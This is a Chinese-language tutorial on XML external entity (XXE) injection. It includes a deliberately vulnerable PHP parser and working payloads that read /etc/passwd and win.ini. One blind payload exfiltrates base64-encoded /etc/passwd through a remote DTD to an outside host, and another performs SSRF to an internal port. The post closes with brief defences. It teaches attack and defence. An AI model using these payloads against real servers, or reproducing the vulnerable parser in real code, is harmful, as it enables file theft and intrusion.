XML實體注入基礎
當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
簡單了解XML以后,我們知道要在XML中使用特殊字符,需要使用實體字符,也可以將一些可能多次會用到的短語(比如公司名稱)設置為實體,然后就可以在內容中使用。
如下就聲明了一個名為 name 值為 bmjoker
的實體。
<!DOCTYPE UserData [ <!ENTITY name "bmjoker" > ]>
要在XML中使用實體,使用&name;
即可。
為了演示漏洞,我們寫一個簡單的PHP腳本,如下:
<?php $xml = file_get_contents("php://input"); $data = simplexml_load_string($xml);
foreach ($data as $key => $value){ echo "您的" . translate($key) . "是" . $value . "<br>"; } function translate($str){ switch ($str){ case "name": return "名字"; case "wechat": return "微信"; case "public_wechat": return "微信公眾號"; case "website": return "網站"; } }
假設這里我們希望用戶輸入的是:
<?xml version="1.0" encoding="utf-8" ?>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>http://www.cnblogs.com/bmjoker/</website>
</user>
然后就可以返回如下頁面:
XML實體注入漏洞的幾種姿勢
方法1:
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
方法2:
<!DOCTYPE a [ <!ENTITY % d SYSTEM "http://www.xxxx.com/attack.dtd"> %d; ]>
其中attack.dtd
的內容為:
<!ENTITY b SYSTEM "file:///etc/passwd">
方法3:
<!DOCTYPE a SYSTEM "http://www.xxxxxx.com/attack.dtd">
其中attack.dtd
內容同上不變。
利用xml實體注入我們可以讀取本地任意文件。
讀取任意文件的思路大概就是引入一個實體,實體內容為本地文件。
使用我們如上說的任意一種方法即可實現,我這里使用第一個(因為最方便)。
構造payload如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///c:/windows/win.ini"> ]>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>&b;</website>
</user>
提交后查看返回信息:
可以看到成功讀取了c盤下的win.ini文件。
如果我們實戰中所在的場景下XML並沒有回顯,我們也可以使用另外一種方法讀取文件。
<!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd SYSTEM "
http://www.hackersb.cn/attack.dtd
"> %dtd; %mydata; ]>
其中attack.dtd
的內容為:
<!ENTITY % all
"<!ENTITY % mydata SYSTEM "http://www.hackersb.cn/?%file">" >
發送payload以后就可以在http://www.hackersb.cn/
的訪問日志中看到請求且帶上了/etc/passwd
文件base64加密以后的內容:
我們既然可以使用file
協議讀取本地文件,當然也可以使用http
協議訪問來造成SSRF攻擊,甚至可以使用gopher
協議。
具體能使用的協議主要取決於PHP,PHP默認支持file、http、ftp、php、compress、data、glob、phar、gopher協議。
如果PHP支持except
模塊,我們還可以利用except
模塊來執行系統命令。
簡單的SSRF攻擊實例如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>&b;</website>
</user>
然后就可以監聽到訪問了。
SSRF攻擊可以成功的話,我們自然可以進而攻擊企業內網的系統。
其他更多的危害各位可以參考OWASP出的文檔:
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
防御XML實體注入漏洞
- 禁用XML使用外部實體
- 盡量不要讓用戶直接提交XML代碼,如果一定要,請做好過濾。